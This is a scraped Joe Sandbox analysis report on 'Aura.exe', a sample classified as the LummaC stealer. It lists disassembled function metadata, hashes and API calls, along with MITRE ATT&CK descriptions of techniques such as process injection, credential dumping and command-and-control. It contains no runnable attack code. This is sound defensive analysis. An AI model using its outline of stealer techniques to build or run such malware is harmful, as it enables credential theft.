Opcode Fuzzy Hash: 5538d9745ca8b42de707cc957bfd40c67892d2bb354e2e16849096bf814d2a56
Instruction Fuzzy Hash: FB21C071204205AFDB61AF75CC81DEE7BA8FF90364B104925F85997252EB30EC40C7A0

Function 000C31BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000C31C6

Part of subcall function 000BC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,000BD895,?,00000000,-00000008), ref: 000BC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C31FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C321E

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f55de934187ba7135e0f288f9da4307bdc8078496501a36194d95aeb6ea64a3a
Instruction ID: 1918f088a776cd08cbd4c260f27df8aa8afe5c9757c5964c1b37ff58ec32b9c4
Opcode Fuzzy Hash: f55de934187ba7135e0f288f9da4307bdc8078496501a36194d95aeb6ea64a3a
Instruction Fuzzy Hash: F711C0B1521115BFAB2127B55C8ADFF7A9CDF893947104029FA11A2102FFA5DF0086B1

Function 000CADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000), ref: 000CADB7
GetLastError.KERNEL32(?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?,?,?,000C3CD6,00000000), ref: 000CADC3

Part of subcall function 000CAE20: CloseHandle.KERNEL32(FFFFFFFE,000CADD3,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?,?), ref: 000CAE30

___initconout.LIBCMT ref: 000CADD3

Part of subcall function 000CADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000CAD91,000CA2DC,?,?,000C4390,?,00000000,00000000,?), ref: 000CAE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,000CA2EF,00000000,00000001,00000000,?,?,000C4390,?,00000000,00000000,?), ref: 000CADE8

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 90c229bbcf8733a3d36c69a1929a95eced0df11a1d5a03f40da9f4b34802b90a
Instruction ID: 4c1dff9687642fa186bdfcedae9589db789ced5a05b13fd953782eaf9768c51f
Opcode Fuzzy Hash: 90c229bbcf8733a3d36c69a1929a95eced0df11a1d5a03f40da9f4b34802b90a
Instruction Fuzzy Hash: 2CF01236601119BFDF621FD5DC04E9E3F66FF05761B004016FD0A86120D7328860DBA1

Function 000B04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 000B0507
GetCurrentThreadId.KERNEL32 ref: 000B0516
GetCurrentProcessId.KERNEL32 ref: 000B051F
QueryPerformanceCounter.KERNEL32(?), ref: 000B052C

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 169e4188da9a812297cc4573d50425e379ad34102085b02b150002bf25d83786
Instruction ID: 3259bbfe53ca4b0102dde8ebe10b38b9d2cfd5add93ec5b7a8e1bef8f330e646
Opcode Fuzzy Hash: 169e4188da9a812297cc4573d50425e379ad34102085b02b150002bf25d83786
Instruction Fuzzy Hash: 58F06274D1120DEBDB00DFB4DA4999EBBF4FF1C200B914996E812E7110EB34AB449B60

Function 004245C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

RDB, xrefs: 00424448
@AF, xrefs: 00424399

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: RDB$@AF
API String ID: 0-293929955
Opcode ID: bb3f07d3bb2fcabe52b39a1d35e15f1a9833749b2156f1220bab2b88511df349
Instruction ID: 09827799f60907410c32fcdc6003198550ce2609f474eab8529e9ba8762932c7
Opcode Fuzzy Hash: bb3f07d3bb2fcabe52b39a1d35e15f1a9833749b2156f1220bab2b88511df349
Instruction Fuzzy Hash: 2251CDB56082009FD710CF28EC4275BBBE0AB86318F11483DF5899B281E67699098B9B

Function 000BB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,000BB893,?,?,00000000,00000000,00000000,?), ref: 000BB9B7

Strings

RCC, xrefs: 000BB9D1
MOC, xrefs: 000BB9C9

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 815ebdf391f727020e3b87bc72f00b22a3d5ab419ed2f667e6e3ce4884ebc936
Instruction ID: 2a4958504dee2c7324615b71e031e606da142762681f39d562d2063f375a4f5e
Opcode Fuzzy Hash: 815ebdf391f727020e3b87bc72f00b22a3d5ab419ed2f667e6e3ce4884ebc936
Instruction Fuzzy Hash: 4B416A72D00209AFCF15DF98CC81AEEBBB5FF48300F188159FA14A7222D7B5AA50DB51

Function 000BB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000BB475

Strings

csm, xrefs: 000BB508
csm, xrefs: 000BB497

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a35ae0d9e00bfe2f494134c9f5eeda7efb123615ec7c672fe05b6ab4898ac19f
Instruction ID: 32db476a2875d06eca596df6d8165014d2fdc62051e6ab3c4a02cdf518258495
Opcode Fuzzy Hash: a35ae0d9e00bfe2f494134c9f5eeda7efb123615ec7c672fe05b6ab4898ac19f
Instruction Fuzzy Hash: 1B312872500619EBCF369F51CC44AEE7BA6FF09314B18425AFC4509222C3B2DDA1DB82

Function 000AB831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000AB8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 000AB8DE

Part of subcall function 000B060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,000AF354,00000000,?,?,?,000AF354,000A3D4A,000D759C,000A3D4A), ref: 000B066D

Part of subcall function 000B8353: IsProcessorFeaturePresent.KERNEL32(00000017,000B378B,?,?,?,?,00000000,?,?,?,000AB5AC,000AB4E0,00000000,?,?,000AB4E0), ref: 000B836F

Strings

csm, xrefs: 000AB86D

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: b2fdcf03fe11f4f8ab8c04127e8e1dbf8c6f902eaa2fdb3fc0e00f5d071132e4
Instruction ID: 9eb86b20191dc81ca713404af6b8f213245dc5851be4ed8dc687935efbcb1d12
Opcode Fuzzy Hash: b2fdcf03fe11f4f8ab8c04127e8e1dbf8c6f902eaa2fdb3fc0e00f5d071132e4
Instruction Fuzzy Hash: 1C217F31D00218EBCF24DFE9D945AEEB7F9AF46710F140419E405AB252DF78AD45CB91

Function 000AB46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000A2673

Strings

bad array new length, xrefs: 000A2626
ios_base::badbit set, xrefs: 000A2650

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 542279536a0036d27df0e529c0007ee66e2ccdcc9ab276fbf6f2792f9ecd7773
Instruction ID: 1effca588bd40bf0f953c1500be06014ccfa8e2bdbd728ff2963737d3399ba99
Opcode Fuzzy Hash: 542279536a0036d27df0e529c0007ee66e2ccdcc9ab276fbf6f2792f9ecd7773
Instruction Fuzzy Hash: 2801DFF1604301ABDB14DF28E846B9B7BE4AF48318F11882EF45D8B342E379E804CB95

Function 000A2610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000B060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,000AF354,00000000,?,?,?,000AF354,000A3D4A,000D759C,000A3D4A), ref: 000B066D

___std_exception_copy.LIBVCRUNTIME ref: 000A2673

Strings

bad array new length, xrefs: 000A2626
ios_base::badbit set, xrefs: 000A2650

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 65d57686d128235402c79e0c85432fbb2a84e4408dbce544f9a9496bede979f2
Instruction ID: 2c14f4dc526ba58c8998745f3561ce0b161d6508d7557cb609d11011a019354a
Opcode Fuzzy Hash: 65d57686d128235402c79e0c85432fbb2a84e4408dbce544f9a9496bede979f2
Instruction Fuzzy Hash: D6F0F8F1514300ABE700AF18EC45B8BBBE4EB54718F11882EF9989B301E3B9D444CF92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Aura.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Aura.exe

Function 000DA19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 000A1FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 000A24B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Function 000BCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 000A1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 000B5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 000B54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 000B565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 000C3BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 000C43CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 000A90F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 000BDA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 000A1EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre